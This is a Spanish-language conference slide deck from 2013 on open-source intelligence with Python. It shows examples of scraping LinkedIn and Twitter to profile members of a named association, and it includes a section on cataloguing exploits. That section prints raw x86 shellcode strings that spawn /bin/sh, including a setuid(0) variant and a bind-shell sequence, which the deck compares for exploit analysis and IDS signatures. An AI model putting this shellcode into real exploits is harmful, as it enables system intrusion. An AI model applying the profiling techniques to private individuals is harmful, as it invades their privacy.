Curso de Perito Judicial Informático Forense 10-11 mayo 2013. Tarragona, España YO? • Simón Roses Femerling • Fundador & CEO, VULNEX www.vulnex.com • Blog: • Twitter: @simonroses • Ex: Microsoft, PwC, @Stake • Beca del DARPA Cyber Fast Track (CFT) para investigar sobre seguridad en el ciclo de desarrollo de software • Ponente: Black Hat, RSA, OWASP, AppSec USA, SOURCE, DeepSec, TECHNET www.simonroses.com OBJETIVOS DE LA CHARLA • Open Source Intelligence (OSINT) – ¿Qué es? – ¿Cómo aprovecharlo? • Desarrollo en Python • OSINT + Python = Hacking a medida AGENDA 1. 2. 3. 4. OSINT Intro Aplicaciones prácticas Caso de estudio Conclusiones 1. LO QUE SIEMPRE OÍMOS… 1. LO QUE QUIEREN LAS COMPAÑÍAS DE PRODUCTOS… 1. DONDE REALMENTE QUEREMOS ESTAR! 1. ¿POR QUÉ PYTHON? 1. MODELO OSINT (SIMPLIFICADO) FUENTES RECOGIDA EMPRESAS SENSORES REDES SISTEMAS PERSONAS BBDD RESULTADO ANÁLISIS • • • • • Lenguaje Relaciones Dimensiones Tiempo Visual • • • • • Informes Personas Links Imágenes Vulnerabilidades 1. HERRAMIENTAS OSINT • Maltego http://www.paterva.com • FOCA http://www.informatica64.com/foca.aspx • Netglub http://www.netglub.org/ 1. SHODAN 1. LEAKEDIN 1. MUNDO DE APIS 1. GOOGLE SEARCH API – CUSTOM SEARCH ENGINE (CSE) • http://www.google.es/cse/ – Creamos un motor de búsqueda personalizado – Token + ID • https://code.google.com/apis/console/ – Activar APIs • Solo 100 consultas por día (gratis) 2. UN POCO DE CÓDIGO • Desarrollo de simples scripts en Python para OSINT • Muchas veces las herramientas no hacen lo que necesitamos 2. EJEMPLO #1 - OBJETIVO • Buscar miembros ANTPJI en LinkedIn mediante Google Custom Search API 2. EJEMPLO #1 - CÓDIGO • Google CSE • Requests 2. EJEMPLO #1 - RESULTADO 2. EJEMPLO #2 - OBJETIVO • Obtener las fotos de los miembros ANTPJI en LinkedIn mediante Google Custom Search API 2. EJEMPLO #2 - CÓDIGO 2. EJEMPLO #2 - RESULTADO 2. EJEMPLO #3 - OBJETIVO • ¿La relación de los miembros de ANTPJI en LinkedIn? 2. EJEMPLO #3 - CÓDIGO 2. EJEMPLO #3 – RESULTADO I 2. EJEMPLO #3 – RESULTADO II 2. EJEMPLO #3 – RESULTADO III 2. EJEMPLO #4 - OBJETIVO • ¿De qué se habla en el Twitter de la asociación? 2. EJEMPLO #4 - CÓDIGO 2. EJEMPLO #4 - RESULTADO 2. EJEMPLO #5 - OBJETIVO • ¿Dónde tienen cuenta los alias que participan en el Twitter de ANTPJI? 2. EJEMPLO #5 - CÓDIGO 2. EJEMPLO #5 - RESULTADO 2. EJEMPLO #6 - OBJETIVO • ¿Metadatos en las fotos de ANTPJI? 2. EJEMPLO #6 - CÓDIGO 2. EJEMPLO #6 - RESULTADO 3. BÚSQUEDA DE EXPLOITS • Objetivo: monitorización de varias fuentes para analizar y catalogar exploits (c/c++,python, perl y ruby) • Cada exploit es: – Catalogado – Shellcode analizado • Automatizado con Python 3. DIFERENCIAS EN SHELLCODES Mítica shellcode por Aleph One \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\ x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh Exploit 1 \x31\xc0\x31\xdb\xb0\x17\xcd\x80 // setuid(0) \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x0 8\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh Exploit 2 \x31\xc0\x40\x40\x89\x45\xf4\x48\x89\x45\xf8\x48\x89\x45\xfc\xb0\x66\x31\xdb\x43\x8 d\x4d\xf4\xcd\x80\x31\xdb\x43\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1b\x39\x31\xdb\x 89\x5d\xf0\x89\x45\xf4\x89\xc2\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x31\xc0\xb0\x 66\x31\xdb\xb3\x02\x8d\x4d\xf4\xcd\x80\x89\x55\xf8\x31\xc0\x40\x89\x45\xfc\x31\xc0\x b0\x66\x31\xdb\xb3\x04\x8d\x4d\xf8\xcd\x80\x89\x55\xf4\x31\xc0\x89\x45\xf8\x89\x45\ xf8\x89\x45\xfc\xb0\x66\x31\xdb\xb3\x05\x8d\x4d\xf4\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\ x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x01\xcd\x80\x31\xc0\xb0 \x3f\x89\xd3\x31\xc9\xb1\x02\xcd\x80 \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x0 8\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 3. SHELLCODES DISTANCIA 80% 3. SHELLCODES DISTANCIA 70% 3. RESULTADO • Usos de este proyecto: – Repositorio de exploits para pentesting – Evolución de exploits y shellcodes – Detectar exploits maliciosos – Firmas para IDS – Estadísticas 4. CONCLUSIONES • OSINT es un arte • Diversos usos: – Pentesting – Forensics – Marketing • Con un poco de Python podemos crear sofisticadas herramientas 4. PROYECTOS PYTHON OSINT • https://github.com/sebdraven/OSINT • https://github.com/hyprwired/osint-opsectool • http://www.clips.ua.ac.be/pattern • https://github.com/allfro/canari 4. LECTURA RECOMENDADA • Automated Open Source Intelligence (OSINT) Using APIs http://raidersec.blogspot.com.es/2012/12/aut omated-open-source-intelligence.html • COMO EXPLOTAR OSINT EFICAZMENTE http://www.defensa.gob.es/ceseden/Galerias /esfas/destacados/en_portada/COMOx20EXPL OTARx20OSINTx20EFICAZMENTE.pdf 4. LIBROS 4. Q&A • Gracias! • @simonroses